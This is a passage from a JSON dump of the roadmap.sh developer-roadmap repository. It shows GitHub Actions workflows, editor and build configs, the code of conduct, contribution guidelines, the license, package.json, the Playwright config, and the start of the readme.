    "content": "name: Sync Content to Repo\n\non:\n  workflow_dispatch:\n    inputs:\n      roadmap_slug:\n        description: \"The ID of the roadmap to sync\"\n        required: true\n        default: \"__default__\"\n\njobs:\n  sync-content:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Setup pnpm@v9\n        uses: pnpm/action-setup@v4\n        with:\n          version: 9\n          run_install: false\n\n      - name: Setup Node.js Version 20 (LTS)\n        uses: actions/setup-node@v4\n        with:\n          node-version: 20\n          cache: 'pnpm'\n\n      - name: Install Dependencies and Sync Content\n        run: |\n          echo \"Installing Dependencies\"\n          pnpm install\n          echo \"Syncing Content to Repo\"\n          npm run sync:content-to-repo -- --roadmap-slug=${{ inputs.roadmap_slug }} --secret=${{ secrets.GH_SYNC_SECRET }}\n\n      - name: Check for changes\n        id: verify-changed-files\n        run: |\n          if [ -n \"$(git status --porcelain)\" ]; then\n            echo \"changed=true\" >> $GITHUB_OUTPUT\n          else\n            echo \"changed=false\" >> $GITHUB_OUTPUT\n          fi\n      \n      - name: Create PR\n        if: steps.verify-changed-files.outputs.changed == 'true'\n        uses: peter-evans/create-pull-request@v7\n        with:\n          delete-branch: false\n          branch: \"chore/sync-content-to-repo-${{ inputs.roadmap_slug }}\"\n          base: \"master\"\n          labels: |\n            automated pr\n          reviewers: jcanalesluna,kamranahmedse\n          commit-message: \"chore: sync content to repo\"\n          title: \"chore: sync content to repository - ${{ inputs.roadmap_slug }}\"\n          body: |\n            ## Sync Content to Repo\n            \n            > [!IMPORTANT]\n            > This PR Syncs the Content to the Repo for the Roadmap: ${{ inputs.roadmap_slug }}\n            >\n            > Commit: ${{ github.sha }}\n            > Workflow Path: ${{ github.workflow_ref }}\n\n            **Please Review the Changes and Merge the PR if everything is fine.** \n"
  },
  {
    "path": ".github/workflows/sync-repo-to-database.yml",
    "content": "name: Sync Repo to Database\n\non:\n  workflow_dispatch:\n    inputs:\n      roadmap_slug:\n        description: \"The slug of the roadmap to sync (e.g., frontend, backend)\"\n        required: true\n\njobs:\n  sync-roadmap:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Setup pnpm@v9\n        uses: pnpm/action-setup@v4\n        with:\n          version: 9\n          run_install: false\n\n      - name: Setup Node.js Version 20 (LTS)\n        uses: actions/setup-node@v4\n        with:\n          node-version: 20\n          cache: 'pnpm'\n\n      - name: Get all roadmap files\n        id: roadmap-files\n        run: |\n          ROADMAP_DIR=\"src/data/roadmaps/${{ inputs.roadmap_slug }}\"\n\n          if [ ! -d \"$ROADMAP_DIR\" ]; then\n            echo \"Error: Roadmap directory '$ROADMAP_DIR' does not exist\"\n            exit 1\n          fi\n\n          echo \"Getting all files in $ROADMAP_DIR\"\n\n          ALL_FILES=$(find \"$ROADMAP_DIR\" -type f | tr '\\n' ',')\n\n          echo \"Files to sync:\"\n          echo \"$ALL_FILES\"\n\n          echo \"files=$ALL_FILES\" >> $GITHUB_OUTPUT\n\n      - name: Install Dependencies\n        run: |\n          echo \"Installing Dependencies\"\n          pnpm install\n\n      - name: Run sync script\n        run: |\n          echo \"Running sync script for roadmap: ${{ inputs.roadmap_slug }}\"\n          echo \"Files: ${{ steps.roadmap-files.outputs.files }}\"\n\n          npm run sync:repo-to-database -- --files=\"${{ steps.roadmap-files.outputs.files }}\" --secret=${{ secrets.GH_SYNC_SECRET }}\n"
  },
  {
    "path": ".github/workflows/upgrade-dependencies.yml",
    "content": "name: Upgrade Dependencies\n\non:\n  workflow_dispatch:\n  schedule:\n    - cron: '0 0 * * 0'\n\njobs:\n  upgrade-deps:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Setup Node.js Version 20 (LTS)\n        uses: actions/setup-node@v4\n        with:\n          node-version: 20\n\n      - name: Setup pnpm@v9\n        uses: pnpm/action-setup@v4\n        with:\n          version: 9\n\n      - name: Install & Upgrade Dependencies\n        run: |\n          pnpm install\n          npm run upgrade\n          pnpm install --lockfile-only\n\n      - name: Create Pull Request\n        uses: peter-evans/create-pull-request@v7\n        with:\n          delete-branch: false\n          branch: \"update-deps\"\n          base: \"master\"\n          labels: |\n            dependencies\n            automated pr\n          reviewers: kamranahmedse\n          commit-message: \"chore: update dependencies to latest\"\n          title: \"Upgrade Dependencies To Latest - Automated\"\n          body: |\n            ## Updated all Dependencies to Latest Versions.\n\n            > [!IMPORTANT]\n            > This PR Upgrades the Dependencies to the their latest versions.\n            >\n            > Commit: ${{ github.sha }}\n            > Workflow Path: ${{ github.workflow_ref }}\n\n            **Please Review the Changes and Merge the PR if everything is fine.**"
  },
  {
    "path": ".gitignore",
    "content": ".idea\n.temp\n.astro\n\n# build output\ndist/\n.output/\n\n# dependencies\nnode_modules/\n\nscripts/developer-roadmap\n\n# logs\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\npnpm-debug.log*\n\n\n# environment variables\n.env\n.env.production\n\n# macOS-specific files\n.DS_Store\n/test-results/\n/playwright-report/\n/playwright/.cache/\ntests-examples\n*.csveditor/\n\npackages/editor"
  },
  {
    "path": ".npmrc",
    "content": "auto-install-peers=true\nstrict-peer-dependencies=false"
  },
  {
    "path": ".prettierignore",
    "content": "app-dist\ndist\n.idea\n.github\npublic\nnode_modules\npnpm-lock.yaml\n"
  },
  {
    "path": ".prettierrc.cjs",
    "content": "module.exports = {\n  semi: true,\n  singleQuote: true,\n  overrides: [\n    {\n      files: '*.astro',\n      options: {\n        parser: 'astro',\n        singleQuote: true,\n        jsxSingleQuote: true,\n      },\n    },\n  ],\n  plugins: [\n    require.resolve('prettier-plugin-astro'),\n    'prettier-plugin-tailwindcss',\n  ],\n};\n"
  },
  {
    "path": ".vscode/extensions.json",
    "content": "{\n  \"recommendations\": [\"astro-build.astro-vscode\"],\n  \"unwantedRecommendations\": []\n}\n"
  },
  {
    "path": ".vscode/launch.json",
    "content": "{\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"command\": \"./node_modules/.bin/astro dev\",\n      \"name\": \"Development server\",\n      \"request\": \"launch\",\n      \"type\": \"node-terminal\"\n    }\n  ]\n}\n"
  },
  {
    "path": ".vscode/settings.json",
    "content": "{\n  \"prettier.documentSelectors\": [\"**/*.astro\"],\n  \"[astro]\": {\n    \"editor.defaultFormatter\": \"esbenp.prettier-vscode\"\n  },\n  \"tailwindCSS.experimental.classRegex\": [\n    [\"\\\\b\\\\w+[cC]lassName\\\\s*=\\\\s*[\\\"']([^\\\"']*)[\\\"']\"],\n    [\"\\\\b\\\\w+[cC]lassName\\\\s*=\\\\s*`([^`]*)`\"],\n    [\"[\\\\w]+[cC]lassName[\\\"']?\\\\s*:\\\\s*[\\\"']([^\\\"']*)[\\\"']\"],\n    [\"[\\\\w]+[cC]lassName[\\\"']?\\\\s*:\\\\s*`([^`]*)`\"],\n    [\"cva\\\\(((?:[^()]|\\\\([^()]*\\\\))*)\\\\)\", \"[\\\"'`]([^\\\"'`]*).*?[\\\"'`]\"],\n    [\"cx\\\\(((?:[^()]|\\\\([^()]*\\\\))*)\\\\)\", \"(?:'|\\\"|`)([^']*)(?:'|\\\"|`)\"]\n  ]\n}\n"
  },
  {
    "path": "astro.config.mjs",
    "content": "// https://astro.build/config\nimport sitemap from '@astrojs/sitemap';\nimport node from '@astrojs/node';\nimport { defineConfig } from 'astro/config';\nimport rehypeExternalLinks from 'rehype-external-links';\nimport { serializeSitemap, shouldIndexPage } from './sitemap.mjs';\nimport tailwindcss from '@tailwindcss/vite';\n\nimport react from '@astrojs/react';\n\n// https://astro.build/config\nexport default defineConfig({\n  site: 'https://roadmap.sh/',\n  redirects: {\n    '/devops/devops-engineer': {\n      status: 301,\n      destination: '/devops',\n    },\n    '/ai-tutor': {\n      status: 301,\n      destination: '/ai',\n    },\n    '/best-practices': {\n      status: 301,\n      destination: '/roadmaps',\n    },\n    '/best-practices/aws': {\n      status: 301,\n      destination: '/aws-best-practices',\n    },\n    '/best-practices/backend-performance': {\n      status: 301,\n      destination: '/backend-performance-best-practices',\n    },\n    '/best-practices/frontend-performance': {\n      status: 301,\n      destination: '/frontend-performance-best-practices',\n    },\n    '/best-practices/api-security': {\n      status: 301,\n      destination: '/api-security-best-practices',\n    },\n    '/best-practices/code-review': {\n      status: 301,\n      destination: '/code-review-best-practices',\n    },\n  },\n  markdown: {\n    shikiConfig: {\n      theme: 'dracula',\n    },\n    rehypePlugins: [\n      [\n        rehypeExternalLinks,\n        {\n          target: '_blank',\n          rel: function (element) {\n            const href = element.properties.href;\n            const whiteListedStarts = [\n              '/',\n              '#',\n              'mailto:',\n              'https://github.com/kamranahmedse',\n              'https://thenewstack.io',\n              'https://kamranahmed.info',\n              'https://roadmap.sh',\n            ];\n            if (whiteListedStarts.some((start) => href.startsWith(start))) {\n              return [];\n            }\n            return 'noopener noreferrer nofollow';\n          },\n        },\n      ],\n    ],\n  },\n  output: 'server',\n  adapter: node({\n    mode: 'standalone',\n  }),\n  trailingSlash: 'never',\n  integrations: [\n    sitemap({\n      filter: shouldIndexPage,\n      serialize: serializeSitemap,\n    }),\n    react(),\n  ],\n  vite: {\n    plugins: [tailwindcss()],\n    ssr: {\n      noExternal: [/^@roadmapsh\\/editor.*$/],\n    },\n    server: {\n      allowedHosts: ['roadmap.sh', 'port3k.kamranahmed.info'],\n    },\n  },\n});\n"
  },
  {
    "path": "code_of_conduct.md",
    "content": "# Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to make participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, sex characteristics, gender identity and expression,\nlevel of experience, education, socio-economic status, nationality, personal\nappearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n- Using welcoming and inclusive language\n- Being respectful of differing viewpoints and experiences\n- Gracefully accepting constructive criticism\n- Focusing on what is best for the community\n- Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n- The use of sexualized language or imagery and unwelcome sexual attention or\n  advances\n- Trolling, insulting/derogatory comments, and personal or political attacks\n- Public or private harassment\n- Publishing others' private information, such as a physical or electronic\n  address, without explicit permission\n- Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies within all project spaces, and it also applies when\nan individual is representing the project or its community in public spaces.\nExamples of representing a project or community include using an official\nproject e-mail address, posting via an official social media account, or acting\nas an appointed representative at an online or offline event. Representation of\na project may be further defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team at <kamranahmed.se@gmail.com>. All\ncomplaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see\nhttps://www.contributor-covenant.org/faq\n"
  },
  {
    "path": "contributing.md",
    "content": "# ✨ Contribution Guidelines ✨\n\nFirst of all, thank you for considering to contribute. Please look at the details below:\n\n- [New Roadmaps](#new-roadmaps)\n- [Existing Roadmaps](#existing-roadmaps)\n- [Adding Projects](#adding-projects)\n- [Adding Content](#adding-content)\n  - [How To Structure Content](#how-to-structure-content)\n- [Guidelines](#guidelines)\n- [Good vs. Not So Good Contributions](#good-vs-not-so-good-contributions)\n- [Local Development](#local-development)\n\n## New Roadmaps\n\nFor new roadmaps, you can either:\n\n- Submit a roadmap by providing [a textual roadmap similar to this roadmap](https://gist.github.com/kamranahmedse/98758d2c73799b3a6ce17385e4c548a5) in an [issue](https://github.com/kamranahmedse/developer-roadmap/issues).\n- Create an interactive roadmap yourself using [our roadmap editor](https://draw.roadmap.sh/) & submit the link to that roadmap in an [issue](https://github.com/kamranahmedse/developer-roadmap/issues).\n\n## Existing Roadmaps\n\nFor the existing roadmaps, please follow the details listed for the nature of contribution:\n\n- **Fixing Typos** — Make your changes in the [roadmap markdown file](https://github.com/kamranahmedse/developer-roadmap/tree/master/src/data/roadmaps) and submit a [PR](https://github.com/kamranahmedse/developer-roadmap/pulls).\n- **Adding/Removing Nodes and Modifying Node Titles** — Please open an [issue](https://github.com/kamranahmedse/developer-roadmap/issues) with your suggestion.\n\n**Note:** Please note that our goal is **not to have the biggest list of items**. Our goal is to list items or skills most relevant today.\n\n## Adding Projects\n\nIf you have a project idea that you think we should add to the roadmap, feel free to open an issue with as many details about the project as possible and the roadmap you think it should be added to.\n\nThe detailed format for the issue should be as follows:\n\n```md\n## What is this project about?\n\n(Add an introduction to the project.)\n\n## Skills this Project Covers\n\n(Comma separated list of skills, e.g. Programming Knowledge, Database, etc.)\n\n## Requirements\n\n( Detailed list of requirements, i.e. input, output, hints to help build this, etc.)\n```\n\nHave a look at this project to get an idea of [what we are looking for](https://roadmap.sh/projects/github-user-activity).\n\n## Adding Content\n\nFind [the content directory inside the relevant roadmap](https://github.com/kamranahmedse/developer-roadmap/tree/master/src/data/roadmaps). Please keep the following guidelines in mind when submitting content:\n\n- Content must be in English.\n- Maximum of 8 links per topic.\n- **No GeeksforGeeks links** — Links to geeksforgeeks.org are not accepted.\n- Follow the below style guide for content.\n\nPlease note that we are intentionally keeping the content under the topic popup concise. You MUST always aim to explain the topic simply in a **single paragraph** or so and provide external resources where users can learn more about the topic.\n\n### How To Structure Content\n\nPlease adhere to the following style when adding content to a topic:\n\n```md\n# Topic Title\n\n(Content)\n\nVisit the following resources to learn more:\n\n- [@type@Title/Description of Link](Link)\n```\n\n`@type@` must be one of the following and describe the type of content you are adding:\n\n- `@official@`\n- `@opensource@`\n- `@article@`\n- `@course@`\n- `@podcast@`\n- `@video@`\n- `@book@`\n\nIt's important to add a valid type, this will help us categorize the content and display it properly on the roadmap. The order of the links based on type is same as above.\n\n## Guidelines\n\n- <p><strong>Please don't use the project for self-promotion!</strong><br/>\n\n  We believe this project is a valuable asset to the developer community, and it includes numerous helpful resources. We kindly ask you to avoid submitting pull requests for the sole purpose of self-promotion. We appreciate contributions that genuinely add value, such as guides from maintainers of well-known frameworks, and will consider accepting these even if they're self authored. Thank you for your understanding and cooperation!\n\n- <p><strong>Adding everything available out there is not the goal!</strong><br/>\n\n  The roadmaps represent the skillset most valuable today, i.e., if you were to enter any of the listed fields today, what would you learn? There might be things that are of-course being used today, but prioritize the things that are most in demand today, e.g., agree that lots of people are using angular.js today, but you wouldn't want to learn that instead of React, Angular, or Vue. Use your critical thinking to filter out non-essential stuff. Give honest arguments for why the resource should be included.</p>\n\n- <p><strong>Do not add things you have not evaluated personally!</strong><br/>\n\n  Use your critical thinking to filter out non-essential stuff. Give honest arguments for why the resource should be included. Have you read this book? Can you give a short article?</p>\n\n- <p><strong>Create a Single PR for Content Additions</strong></p>\n\n  If you are planning to contribute by adding content to the roadmaps, I recommend you to clone the repository, add content to the [content directory of the roadmap](./src/data/roadmaps/) and create a single PR to make it easier for me to review and merge the PR.\n\n- <p><strong>Write meaningful commit messages</strong><br/>\n\n  Meaningful commit messages help speed up the review process as well as help other contributors gain a good overview of the repositories commit history without having to dive into every commit.\n\n  </p>\n- <p><strong>Look at the existing issues/pull requests before opening new ones</strong></p>\n\n## Good vs. Not So Good Contributions\n\n<strong>Good</strong>\n\n- New Roadmaps.\n- Engaging and fresh content links.\n- Typos and grammatical fixes.\n- Enhanced Existing Content.\n- Content copy in topics that do not have any (or minimal copy exists).\n\n<strong>Not So Good</strong>\n\n- Adding whitespace that doesn't add to the readability of the content.\n- Rewriting content in a way that doesn't add any value.\n- Non-English content.\n- PR's that don't follow our style guide, have no description, and a default title.\n- Links to your own blog articles.\n\n## Local Development\n\nFor local development, you can use the following commands:\n\n```bash\ngit clone git@github.com:kamranahmedse/developer-roadmap.git --depth 1\ncd developer-roadmap\npnpm add @roadmapsh/editor@npm:@roadmapsh/dummy-editor -w\npnpm install\n```\nRun the development server with:\n\n```bash\npnpm dev\n```\n\n***\n\nHave a look at the [License](./license) file.\n"
  },
  {
    "path": "license",
    "content": "Everything including text and images in this project are protected by the copyright laws.\nYou are allowed to use this material for personal use but are not allowed to use it for\nany other purpose including publishing the images, the project files or the content in\nthe images in any form either digital, non-digital, textual, graphical or written formats.\nYou are allowed to share the links to the repository or the website roadmap.sh but not\nthe content for any sort of usage that involves the content of this repository taken out\nof the repository and be shared from any other medium including but not limited to blog\nposts, articles, newsletters, you must get prior consent from the understated. These\nconditions do not apply to the readonly GitHub forks created using the Fork button on\nGitHub with the whole purpose of contributing to the project.\n\nCopyright © 2017 - Present. Kamran Ahmed <kamranahmed.se@gmail.com>\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"roadmap.sh\",\n  \"type\": \"module\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"astro dev --port 3000\",\n    \"start\": \"astro dev\",\n    \"build\": \"astro build\",\n    \"preview\": \"astro preview\",\n    \"format\": \"prettier --write .\",\n    \"gh-labels\": \"./scripts/create-roadmap-labels.sh\",\n    \"astro\": \"astro\",\n    \"deploy\": \"NODE_DEBUG=gh-pages gh-pages -d dist -t\",\n    \"upgrade\": \"ncu -u\",\n    \"roadmap-links\": \"node scripts/roadmap-links.cjs\",\n    \"roadmap-dirs\": \"node scripts/roadmap-dirs.cjs\",\n    \"roadmap-assets\": \"tsx scripts/editor-roadmap-assets.ts\",\n    \"refresh-assets\": \"tsx scripts/refresh-assets.ts\",\n    \"editor-roadmap-dirs\": \"tsx scripts/editor-roadmap-dirs.ts\",\n    \"editor-roadmap-content\": \"tsx scripts/editor-roadmap-content.ts\",\n    \"roadmap-content\": \"node scripts/roadmap-content.cjs\",\n    \"generate-renderer\": \"sh scripts/generate-renderer.sh\",\n    \"generate-renderer-dummy\": \"sh scripts/generate-renderer-dummy.sh\",\n    \"best-practice-dirs\": \"node scripts/best-practice-dirs.cjs\",\n    \"best-practice-content\": \"node scripts/best-practice-content.cjs\",\n    \"generate:og\": \"node ./scripts/generate-og-images.mjs\",\n    \"warm:urls\": \"sh ./scripts/warm-urls.sh https://roadmap.sh/sitemap-0.xml\",\n    \"compress:images\": \"tsx ./scripts/compress-images.ts\",\n    \"generate:roadmap-content-json\": \"tsx ./scripts/editor-roadmap-content-json.ts\",\n    \"migrate:editor-roadmaps\": \"tsx ./scripts/migrate-editor-roadmap.ts\",\n    \"sync:content-to-repo\": \"tsx ./scripts/sync-content-to-repo.ts\",\n    \"sync:repo-to-database\": \"tsx ./scripts/sync-repo-to-database.ts\",\n    \"sync:roadmap\": \"tsx ./scripts/sync-roadmap-to-database.ts\",\n    \"migrate:content-repo-to-database\": \"tsx ./scripts/migrate-content-repo-to-database.ts\",\n    \"cleanup:orphaned-content\": \"tsx ./scripts/cleanup-orphaned-content.ts\",\n    \"official:roadmap-assets\": \"tsx ./scripts/official-roadmap-assets.ts\",\n    \"test:e2e\": \"playwright test\"\n  },\n  \"dependencies\": {\n    \"@ai-sdk/react\": \"2.0.0-beta.34\",\n    \"@astrojs/node\": \"^9.2.1\",\n    \"@astrojs/react\": \"^4.2.7\",\n    \"@astrojs/sitemap\": \"^3.4.0\",\n    \"@fingerprintjs/fingerprintjs\": \"^4.6.2\",\n    \"@microsoft/clarity\": \"^1.0.0\",\n    \"@nanostores/react\": \"^1.0.0\",\n    \"@napi-rs/image\": \"^1.9.2\",\n    \"@radix-ui/react-dropdown-menu\": \"^2.1.15\",\n    \"@radix-ui/react-popover\": \"^1.1.14\",\n    \"@resvg/resvg-js\": \"^2.6.2\",\n    \"@roadmapsh/editor\": \"workspace:*\",\n    \"@shikijs/transformers\": \"^3.9.2\",\n    \"@tailwindcss/vite\": \"^4.1.7\",\n    \"@tanstack/react-query\": \"^5.76.1\",\n    \"@tiptap/core\": \"^2.12.0\",\n    \"@tiptap/extension-document\": \"^2.12.0\",\n    \"@tiptap/extension-paragraph\": \"^2.12.0\",\n    \"@tiptap/extension-placeholder\": \"^2.12.0\",\n    \"@tiptap/extension-text\": \"^2.12.0\",\n    \"@tiptap/pm\": \"^2.12.0\",\n    \"@tiptap/react\": \"^2.12.0\",\n    \"@tiptap/suggestion\": \"^2.12.0\",\n    \"@types/react\": \"^19.1.4\",\n    \"@types/react-dom\": \"^19.1.5\",\n    \"astro\": \"^5.7.13\",\n    \"clsx\": \"^2.1.1\",\n    \"dayjs\": \"^1.11.13\",\n    \"dom-to-image\": \"^2.6.0\",\n    \"dracula-prism\": \"^2.1.16\",\n    \"gray-matter\": \"^4.0.3\",\n    \"htm\": \"^3.1.1\",\n    \"image-size\": \"^2.0.2\",\n    \"jose\": \"^6.0.11\",\n    \"js-cookie\": \"^3.0.5\",\n    \"katex\": \"^0.16.22\",\n    \"lucide-react\": \"^0.511.0\",\n    \"luxon\": \"^3.6.1\",\n    \"markdown-it-async\": \"^2.2.0\",\n    \"nanoid\": \"^5.1.5\",\n    \"nanostores\": \"^1.0.1\",\n    \"node-html-parser\": \"^7.0.1\",\n    \"npm-check-updates\": \"^18.0.1\",\n    \"playwright\": \"^1.52.0\",\n    \"prismjs\": \"^1.30.0\",\n    \"radix-ui\": \"^1.4.2\",\n    \"react\": \"^19.1.0\",\n    \"react-calendar-heatmap\": \"^1.10.0\",\n    \"react-confetti\": \"^6.4.0\",\n    \"react-dom\": \"^19.1.0\",\n    \"react-dropzone\": \"^14.3.8\",\n    \"react-markdown\": \"^10.1.0\",\n    \"react-resizable-panels\": \"^3.0.2\",\n    \"react-textarea-autosize\": \"^8.5.9\",\n    \"react-tooltip\": \"^5.28.1\",\n    \"rehype-external-links\": \"^3.0.0\",\n    \"rehype-katex\": \"^7.0.1\",\n    \"remark-gfm\": \"^4.0.1\",\n    \"remark-math\": \"^6.0.0\",\n    \"remark-parse\": \"^11.0.0\",\n    \"roadmap-renderer\": \"^1.0.7\",\n    \"sanitize-html\": \"^2.17.0\",\n    \"satori\": \"^0.13.1\",\n    \"satori-html\": \"^0.3.2\",\n    \"sharp\": \"^0.34.1\",\n    \"shiki\": \"^3.4.2\",\n    \"slugify\": \"^1.6.6\",\n    \"tailwind-merge\": \"^3.3.0\",\n    \"tailwindcss\": \"^4.1.7\",\n    \"tippy.js\": \"^6.3.7\",\n    \"tiptap-markdown\": \"^0.8.10\",\n    \"turndown\": \"^7.2.0\",\n    \"unified\": \"^11.0.5\",\n    \"zod\": \"^4.0.17\",\n    \"zustand\": \"^5.0.4\"\n  },\n  \"devDependencies\": {\n    \"@ai-sdk/google\": \"^1.2.18\",\n    \"@playwright/test\": \"^1.52.0\",\n    \"@tailwindcss/typography\": \"^0.5.16\",\n    \"@types/dom-to-image\": \"^2.6.7\",\n    \"@types/js-cookie\": \"^3.0.6\",\n    \"@types/luxon\": \"^3.6.2\",\n    \"@types/markdown-it\": \"^14.1.2\",\n    \"@types/prismjs\": \"^1.26.5\",\n    \"@types/react-calendar-heatmap\": \"^1.9.0\",\n    \"@types/react-slick\": \"^0.23.13\",\n    \"@types/sanitize-html\": \"^2.16.0\",\n    \"@types/turndown\": \"^5.0.5\",\n    \"ai\": \"5.0.0-beta.34\",\n    \"csv-parser\": \"^3.2.0\",\n    \"gh-pages\": \"^6.3.0\",\n    \"js-yaml\": \"^4.1.0\",\n    \"markdown-it\": \"^14.1.0\",\n    \"openai\": \"^4.100.0\",\n    \"prettier\": \"^3.5.3\",\n    \"prettier-plugin-astro\": \"^0.14.1\",\n    \"prettier-plugin-tailwindcss\": \"^0.6.11\",\n    \"tailwind-scrollbar\": \"^4.0.2\",\n    \"tsx\": \"^4.19.4\"\n  }\n}\n"
  },
  {
    "path": "packages/.gitkeep",
    "content": ""
  },
  {
    "path": "playwright.config.ts",
    "content": "import type { PlaywrightTestConfig } from '@playwright/test';\nimport { devices } from '@playwright/test';\n\n/**\n * Read environment variables from file.\n * https://github.com/motdotla/dotenv\n */\n// require('dotenv').config();\n\n/**\n * See https://playwright.dev/docs/test-configuration.\n */\nconst config: PlaywrightTestConfig = {\n  testDir: './tests',\n  /* Maximum time one test can run for. */\n  timeout: 30 * 1000,\n  expect: {\n    /**\n     * Maximum time expect() should wait for the condition to be met.\n     * For example in `await expect(locator).toHaveText();`\n     */\n    timeout: 5000,\n  },\n  /* Run tests in files in parallel */\n  fullyParallel: true,\n  /* Fail the build on CI if you accidentally left test.only in the source code. */\n  forbidOnly: !!process.env.CI,\n  /* Retry on CI only */\n  retries: process.env.CI ? 2 : 0,\n  /* Opt out of parallel tests on CI. */\n  workers: process.env.CI ? 1 : undefined,\n  /* Reporter to use. See https://playwright.dev/docs/test-reporters */\n  reporter: 'html',\n  /* Shared settings for all the projects below. See https://playwright.dev/docs/api/class-testoptions. */\n  use: {\n    /* Maximum time each action such as `click()` can take. Defaults to 0 (no limit). */\n    actionTimeout: 0,\n    /* Base URL to use in actions like `await page.goto('/')`. */\n    baseURL: 'http://localhost:3000',\n\n    /* Collect trace when retrying the failed test. See https://playwright.dev/docs/trace-viewer */\n    trace: 'on-first-retry',\n  },\n\n  /* Configure projects for major browsers */\n  projects: [\n    {\n      name: 'chromium',\n      use: {\n        ...devices['Desktop Chrome'],\n      },\n    },\n\n    // {\n    //   name: 'firefox',\n    //   use: {\n    //     ...devices['Desktop Firefox'],\n    //   },\n    // },\n\n    // {\n    //   name: 'webkit',\n    //   use: {\n    //     ...devices['Desktop Safari'],\n    //   },\n    // },\n\n    /* Test against mobile viewports. */\n    // {\n    //   name: 'Mobile Chrome',\n    //   use: {\n    //     ...devices['Pixel 5'],\n    //   },\n    // },\n    // {\n    //   name: 'Mobile Safari',\n    //   use: {\n    //     ...devices['iPhone 12'],\n    //   },\n    // },\n\n    /* Test against branded browsers. */\n    // {\n    //   name: 'Microsoft Edge',\n    //   use: {\n    //     channel: 'msedge',\n    //   },\n    // },\n    // {\n    //   name: 'Google Chrome',\n    //   use: {\n    //     channel: 'chrome',\n    //   },\n    // },\n  ],\n\n  /* Folder for test artifacts such as screenshots, videos, traces, etc. */\n  // outputDir: 'test-results/',\n\n  /* Run your local dev server before starting the tests */\n  webServer: {\n    command: 'npm run dev',\n    url: 'http://localhost:3000',\n    reuseExistingServer: !process.env.CI,\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "pnpm-workspace.yaml",
    "content": "packages:\n  - packages/*\n"
  },
  {
    "path": "public/manifest/manifest.json",
    "content": "{\n  \"dir\": \"ltr\",\n  \"lang\": \"en\",\n  \"name\": \"Roadmap\",\n  \"scope\": \"/\",\n  \"display\": \"standalone\",\n  \"start_url\": \"https://roadmap.sh/\",\n  \"short_name\": \"Roadmap\",\n  \"theme_color\": \"#EDD07E\",\n  \"description\": \"Roadmaps to becoming a Modern Developer – roadmap.sh\",\n  \"orientation\": \"any\",\n  \"background_color\": \"#101010\",\n  \"related_applications\": [],\n  \"prefer_related_applications\": false,\n  \"icons\": [\n    {\n      \"src\": \"/manifest/icon152.png\",\n      \"sizes\": \"152x152\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"/manifest/icon196.png\",\n      \"sizes\": \"196x196\",\n      \"type\": \"image/png\"\n    }\n  ]\n}\n"
  },
  {
    "path": "readme.md",
    "content": "<p align=\"center\">\n  <a href=\"https://roadmap.sh/\"><img src=\"public/img/brand.png\" height=\"128\"></a>\n  <h2 align=\"center\"><a href=\"https://roadmap.sh\">roadmap.sh</a></h2>\n  <p align=\"center\">Community driven roadmaps, articles and resources for developers<p>\n  <p align=\"center\">\n    <a href=\"https://roadmap.sh/roadmaps\">\n    \t<img src=\"https://img.shields.io/badge/%E2%9C%A8-Roadmaps%20-0a0a0a.svg?style=flat&colorA=0a0a0a\" alt=\"roadmaps\" />\n    </a>\n    <a href=\"https://roadmap.sh/best-practices\">\n    \t<img src=\"https://img.shields.io/badge/%E2%9C%A8-Best%20Practices-0a0a0a.svg?style=flat&colorA=0a0a0a\" alt=\"best practices\" />\n    </a>\n    <a href=\"https://roadmap.sh/questions\">\n    \t<img src=\"https://img.shields.io/badge/%E2%9C%A8-Questions-0a0a0a.svg?style=flat&colorA=0a0a0a\" alt=\"videos\" />\n    </a>\n    <a href=\"https://www.youtube.com/channel/UCA0H2KIWgWTwpTFjSxp0now?sub_confirmation=1\">\n    \t<img src=\"https://img.shields.io/badge/%E2%9C%A8-YouTube%20Channel-0a0a0a.svg?style=flat&colorA=0a0a0a\" alt=\"roadmaps\" />\n    </a>\n  </p>\n</p>\n\n<br>\n\n![](https://i.imgur.com/waxVImv.png)\n\nRoadmaps are now interactive, you can click the nodes to read more about the topics.\n\n### [View all Roadmaps](https://roadmap.sh) &nbsp;&middot;&nbsp; [Best Practices](https://roadmap.sh/best-practices) &nbsp;&middot;&nbsp; [Questions](https://roadmap.sh/questions)\n\n![](https://i.imgur.com/waxVImv.png)\n\nHere is the list of available roadmaps with more being actively worked upon.\n\n> Have a look at the [get started](https://roadmap.sh/get-started) page that might help you pick up a path.\n\n- [Frontend Roadmap](https://roadmap.sh/frontend) / [Frontend Beginner 